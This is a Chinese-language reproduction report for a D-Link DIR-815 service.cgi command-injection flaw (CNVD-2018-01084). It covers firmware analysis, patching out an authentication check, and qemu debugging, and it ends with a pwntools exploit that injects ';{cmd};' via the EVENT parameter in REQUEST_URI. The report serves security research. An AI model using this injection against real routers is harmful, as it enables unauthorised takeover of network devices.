CNVD-2018-01084 漏洞復現報告(service.cgi 遠程命令執行漏洞)
在CNVD平臺上,關于CNVD-2018-01084的詳細信息:D-Link DIR 615/645/815 service.cgi遠程命令執行漏洞(https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084)
固件包下載地址:D-Link (Downloads)(https://tsd.dlink.com.tw/ddwn)


筆者復現的環境是Ubuntu 20.04
閱讀本文前,請先安裝qemu / binwalk / sasquatch / gdb-multiarch等工具,并對mips架構下的匯編語法有一定的了解。
漏洞復現
根據官方公告,找到存在漏洞的二進制文件。
官方公告:

先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:

找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。
對二進制文件進行靜態分析
首先進入main函數,很容易找到關鍵詞service.cgi:

這里是和傳入的第一個參數v3進行的判斷:

然后,當傳入的第一個參數是service.cgi,比對成功后,會進入servicecgi_main函數。
我們先對servicecgi_main這個函數整體的調用路線進行一個宏觀的分析:

我們猜測漏洞點存在于這里的system函數處,它是由lxmldbc_system函數調用的:

在lxmldbc_system函數中,會先進行一個格式化字符串的拼接,再將拼接好的字符串作為system的參數調用,因此,這里的確可能存在一個可被利用的點:

接著,我們對servicecgi_main函數的流程進行一個分析:
(1)先獲取環境變量REQUEST_METHOD進行判斷

當請求方式為GET的時候,會跳到標簽10,而這個標簽10在調用lxmldbc_system函數的下面:

所以,為了利用到lxmldbc_system中的漏洞,我們的請求方式只能為POST。
(2)分析cgibin_parse_request函數
然后,會調用到cgibin_parse_request函數,這個函數會先調取環境變量REQUEST_URI,并對其先以?進行字符串分割:

再進到sub_402B40函數中,發現這里會再以=進行一次字符串分割,對=后的內容再以&進行分割:

這其實就是對一個URL字符串的解析過程,分割后的字符串,都會被存放進內存中,具體存放在哪里,不太好直接通過靜態分析看出。
之后,在cgibin_parse_request函數中,對CONTENT_TYPE這個環境變量進行了一個判斷:

這里先對環境變量CONTENT_TYPE中的內容的前v17位與v18進行一個比對,比對正確后就會調用一個未知的函數,這里的v18其實是off_42C014中的內容,而v17就是其后四個字節的內容:

也就是說,我們CONTENT_TYPE的前12位得是application/才能過這個判斷。
之后調用到的那個未知的函數也不方便直接通過靜態分析看出,在之后動態調試的時候可以很清楚地看到,不過,這里需要注意一下傳入這個未知函數的第三個參數v7,其實就是CONTENT_LENGTH這個環境變量:

這個函數大體就分析到這里了,更具體的,在之后動態分析的時候會寫到。

在servicecgi_main主函數中可以看到,若cgibin_parse_request函數的返回值是負數的話,會報錯。
筆者注:
之前復現的時候是直接看匯編的,感覺上面說的未知函數不好看出來(我太菜了),其實我們看反編譯后的代碼,直接靜態分析就很容易得出來:如果CONTENT_TYPE的前12位是application/,那么此時v16=1,所以(&off_42C014)[3 * v16 - 1] = (&off_42C014)[2],也就是下圖圈出的數據,即跳轉到了0x403B10處。

(3)分析sess_ispoweruser函數
在之后,會需要繞過sess_ispoweruser函數,不然無法通過認證:

這個函數會調用到sess_validate函數,其中會再調用到sess_get_uid函數,在里面有對HTTP_COOKIE和REMOTE_ADDR這兩個環境變量的獲取,這里就不作具體分析了。
接著,在sess_validate函數中會繼續調用到sub_407660這個函數,其中會打開/var/session/...的文件:

這個文件顯然我們用qemu模擬的環境中是沒有的,因此我們需要將sess_ispoweruser這個函數的相關判斷給patch掉(直接將跳轉命令改成nop空指令),不然就不便于進行后續利用了(會在這里卡住):
修改:


完成:


保存:

這樣就直接跳過sess_ispoweruser函數的認證檢驗了,將patch過的二進制文件替換htdocs目錄下原有的文件即可。
(4)一些靜態分析看不出來的操作
再然后,會調用sub_40A1C0函數進行一些判斷:

顯然,判斷的結果若是滿足v6!=0是最好的,因為這里if分支其實大體上都是對v9格式化字符串進行賦值,而v6!=0分支中的內容最簡單,下面else分支中的內容會很復雜,當經過這個判斷之后,有了v9這個格式化字符串作為參數,就可以直接走到lxmldbc_system函數進行漏洞利用了。
不過,這里sub_40A1C0函數中具體判斷的內容不太好直接通過靜態分析看出:

這里的a1就是傳進去的EVENT / ACTION / SERVICE這些參數,但是后面的v3[2]應該是用戶可控的一個字符串,但是并不知道指向內存的何處。
同樣地,lxmldbc_system函數中,vsnprintf函數的參數va(也就是拼接到前面format格式化字符串中的內容)不知道指向內存的何處,va_start函數同樣不知道指向哪里:

這些都不好通過靜態分析直接得出,但是可以猜測都是用戶可控的,再聯想到之前的REQUEST_URI環境變量分割出的字符串被存放在了內存中,我們也并不知道具體的存放位置,因此,可以猜測這里取的內存就是在之前存放的,為了驗證這一觀點,我們需要進行動態分析來調試。
對二進制文件進行動態分析(調試)
先checksec檢查一下二進制文件:

構下32位的小端序程序,得用qemu-mipsel啟動,沒開任何保護。
首先,我們需要知道如何向main函數傳遞參數argv和設置環境變量:

我們可以用-0選項傳遞第一個參數,用-E選項設置環境變量,用-L選項做到類似于更改根目錄的效果,用-strace選項追蹤程序執行時進程系統調用和所接收的信號,方便調試。
我們按順序,先來調試一下CONTENT_TYPE環境變量中application/后應該設置成什么,也就需要知道這里進入的未知函數是什么:
if ( !strncasecmp(v14, v18, v17) ) return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_42C014)[3 * v16 - 1])( a1, a2, v7, &v14[v17]);
看到對應的匯編:

最后的跳轉命令在0x40346C處,因此,我們在這里下一個斷點。
先用下面的命令啟動qemu用戶模式:
qemu-mipsel -g 1234 -L . \ -0 "service.cgi" \ -E REQUEST_METHOD="POST" \ -E REQUEST_URI="..." \ -E CONTENT_LENGTH=10 \ -E CONTENT_TYPE="application/winmt" \ ./htdocs/cgibin
再用gdb-multiarch設置架構并連接上1234端口,最后停在了斷點處:

可以很清晰地看到,那個我們靜態分析不好看出來的未知函數就是0x403b10。
在IDA里找到0x403b10的位置,并創建函數,方便反編譯:


可見,CONTENT_TYPE環境變量的后面應該是x-www-form-urlencoded,匹配成功后,就會進入sub_402FFC函數,在其中會有一個read函數,需要我們讀入數據:

這里的v7也就是a3,是我們在cgibin_parse_request函數中傳入的環境變量CONTENT_LENGTH,根據之前的分析,我們需要這個函數的返回值v4大于零,只要讀入合法的數據即可。
這一部分就分析到這,接下來再驗證之前的猜想:sub_40A1C0函數中所取的內存是否為之前REQUEST_URI環境變量所分割出的字符串?
我們已經知道了REQUEST_URI大體的分割模式,因此可以設REQUEST_URI="aaa?bbb=ccc"的形式,啟動命令如下:
qemu-mipsel -g 1234 -L . \ -0 "service.cgi" \ -E REQUEST_METHOD="POST" \ -E REQUEST_URI="aaa?bbb=ccc" \ -E CONTENT_LENGTH=10 \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ ./htdocs/cgibin
在sub_40A1C0中strcmp的地方對應的匯編處(0x40A200)下一個斷點:

在之前隨便輸入十個字符,最后停止了斷點處:

由此可知,strcmp的第二個參數就是環境變量REQUEST_URI中?與=之間的字符串。
用同樣的方法,可以得到:lxmldbc_system中拼接入格式化字符串的va參數就是環境變量REQUEST_URI中=之后的字符串。
至此,我們完成了對/htdocs/cgibin這個二進制文件中的漏洞分析,顯然,我們將;{cmd};拼接進格式化字符串,由于;可連接兩個獨立語句并執行,這樣就能執行我們的cmd命令了。
利用腳本(exp)
from pwn import *context(os = 'linux', arch = 'mips') string = "winmt"length = len(string) print("----- CNVD-2018-01084 -----")cmd = input("command > ") io = process(f''' qemu-mipsel -L . -strace \ -0 "service.cgi" \ -E REQUEST_METHOD="POST" \ -E CONTENT_LENGTH={length} \ -E REQUEST_URI="?EVENT=;{cmd};" \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E HTTP_COOKIE="uid=winmt" \ -E REMOTE_ADDR="127.0.0.1" \ ./htdocs/cgibin''', shell = True) io.send(string)io.interactive()
復現成功
